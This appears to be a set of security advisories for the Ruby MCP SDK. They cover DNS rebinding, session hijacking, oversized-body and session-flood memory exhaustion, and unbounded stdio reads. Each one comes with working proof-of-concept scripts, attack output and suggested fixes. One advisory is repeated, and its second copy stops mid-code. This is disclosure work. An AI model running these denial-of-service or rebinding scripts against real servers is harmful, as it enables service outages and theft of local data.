MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

• An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
• Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
• The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

• extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
• validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
• validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
• validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

• Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
• In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
• Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Summary

Vulnerability: Missing Session Ownership Validation in the Ruby MCP SDK's Streamable and SSE HTTP transport implementation. Any attacker with a stolen session ID can execute tools with the victim's session. This is a silent attack - the victim's session is compromised and being used for unauthorized actions, but it is hard to know for the victim

Details

https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb#L260-L278

Victim starts a legitimate MCP session and receives session ID abc-123 Attacker obtains the session ID (various means - network sniffing, logs, etc. out of scope for this analysis) Attacker sends POST to /messages/abc-123 with a tool call Server accepts the request (no ownership validation!) Server executes the tool and sends response to victim's SSE stream Victim receives attacker's response, thinking it's legitimate

PoC

attacker_client.py legitimate_client.py

Prerequisites

1. Python 3.8+
2. Install dependencies: requests

Running the Demo

1. Terminal 1: Start the Ruby MCP Server

ruby streamable_http_server.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb This server has a tool call notification_tool which the clients call

2. Terminal 2: Start Victim Client

python3 legitimate_client.py

3. Terminal 3 - Attacker Client:

Copy the session ID from Terminal 1 and run:

python3 attacker_client.py abc-123-def-456

4. Back to Terminal 2 - Victim sees the injected response:

Impact

• Integrity: HIGH - Attacker can execute unauthorized tools and modify state
• Availability: LOW - Attacker can disrupt victim's session with injected responses

Additional Details

Session Hijacking Protection in MCP Implementations

The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

User Binding - Comparison other SDKs

csharp-sdk

• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L36
• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L95-L98

Go-sdk

• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L66
• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L316-L320

Comparison with the Stream Replacement vulnerability

Stream Replacement https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35

• Target: SSE stream connection
• Attack Vector: GET /mcp
• What happens to Victim: The connection is disconnected and doesn't receive reponses

Session Poisoning

• Target: Tool execution
• Attack Vector: POST /mcp
• What happens to Victim: The connection stays connected and receives responses of tool calls by attacker

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

• Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
• Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
• Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Summary

The stdio transports in MCP::Server::Transports::StdioTransport and MCP::Client::Stdio read newline-delimited JSON-RPC frames using IO#gets with no limit argument. CRuby's IO#gets with no limit reads from the current position until the next separator (\n) with no upper bound on the returned string length. A peer that streams bytes without ever emitting a newline causes gets to accumulate the entire stream in a single Ruby String until the process is killed by the operating-system OOM killer.

This is the same vulnerability class tracked in sibling MCP SDKs as GHSA-74gp-qhv5-v493 (Kotlin), GHSA-wqgc-pwpr-pq7r (TypeScript), GHSA-655q-2283-6jgj (Python), and others. It was identified during a cross-SDK audit; ruby-sdk had no prior report.

Affected code

Verified at main @ cf44475c.

Server transport — lib/mcp/server/transports/stdio_transport.rb

# line 23
while @open && (line = $stdin.gets)        # <-- no limit argument
  response = @session.handle_json(line.strip)
  ...

# line 76
while @open && (line = $stdin.gets)        # <-- no limit argument
  begin
    parsed = JSON.parse(line.strip, symbolize_names: true)

$stdin is the raw process global (only set_encoding is applied at line 16); there is no wrapper imposing a length limit.

Client transport — lib/mcp/client/stdio.rb

# line 150
@stdin, @stdout, @stderr, @wait_thread = Open3.popen3(spawn_env, @command, *@args)

# line 228
line = @stdout.gets                         # <-- no limit argument
raise_connection_error!(method, params) if line.nil?
parsed = JSON.parse(line.strip)

@stdout is the raw IO returned by Open3.popen3. The @read_timeout guard at line 227 (wait_for_readable!) only gates the IO.select before gets is invoked; once bytes are flowing, gets blocks indefinitely accumulating into one string.

Impact

Denial of service via memory exhaustion. A peer that controls the byte stream delivered to the stdio transport can grow a single Ruby String until the process exhausts available memory.

Threat-model caveat (important): In the default stdio deployment, the peer process already holds local execution privileges equal to or greater than the victim:

• On the server side (StdioTransport#open), the writer to $stdin is the parent process that spawned the server, which already holds Process.kill, environment control, and filesystem access over the child. This direction is a robustness defect rather than a security boundary in typical deployments.
• On the client side (Client::Stdio#read_response), the writer is the third-party MCP server binary the host application chose to spawn via Open3.popen3. In an unsandboxed deployment that binary already has local code execution as the host user.

This issue is primarily a security concern for:

• (a) host applications that sandbox the spawned MCP server (container, restricted user, seccomp) while piping its stdout to an unsandboxed host process — an unbounded gets lets a memory-capped sandboxed process exhaust the unconstrained host;
• (b) HTTP-to-stdio bridge deployments that forward bytes from a remote peer to a stdio server's stdin (note: surveyed bridges re-frame JSON-RPC and emit their own newlines, mitigating this in practice);
• (c) robustness against non-malicious servers that emit large unterminated output (misconfigured logging to stdout, runaway loops), which can crash the host process and all other MCP sessions it manages.

The bug fires before the JSON-RPC initialize handshake, since gets cannot return until \n arrives.

Reproduction

# poc_ruby_stdio_oom.rb — drives the real client transport against a producer that never emits \n
require "mcp/client/stdio"

# `yes` writes "y\n" — instead use a producer that never sends \n:
producer = %q{ruby -e 'STDOUT.sync=true; loop { print "A" * 65536 }'}

client = MCP::Client::Stdio.new(command: "bash", args: ["-c", producer])
client.start
# any request triggers read_response → @stdout.gets → unbounded String growth
client.send_request(method: "initialize", params: {})

Observed: process RSS grows linearly with bytes produced; gets never returns; process is OOM-killed.

Suggested fix

IO#gets accepts a second limit argument. Apply a configurable maximum line length (default suggested: 4 MiB — large enough for any realistic JSON-RPC frame including base64-embedded images) at all three call sites, and treat an over-limit line as a transport error that closes the connection:

MAX_LINE_BYTES = 4 * 1024 * 1024

while @open && (line = $stdin.gets("\n", MAX_LINE_BYTES))
  unless line.end_with?("\n")
    # gets returned because the limit was hit, not because a newline arrived
    raise MCP::TransportError, "stdio frame exceeds #{MAX_LINE_BYTES} bytes without newline"
  end
  ...
end

Apply the same pattern at stdio_transport.rb:76 and client/stdio.rb:228. Expose MAX_LINE_BYTES as a constructor option on both transports for callers with legitimate large-frame needs.

Credit

Identified during a cross-SDK audit of the stdio unbounded-buffer vulnerability class, prompted by GHSA-74gp-qhv5-v493 (reporter: tonghuaroot).

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

• An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
• Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
• The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

• extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
• validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
• validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
• validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
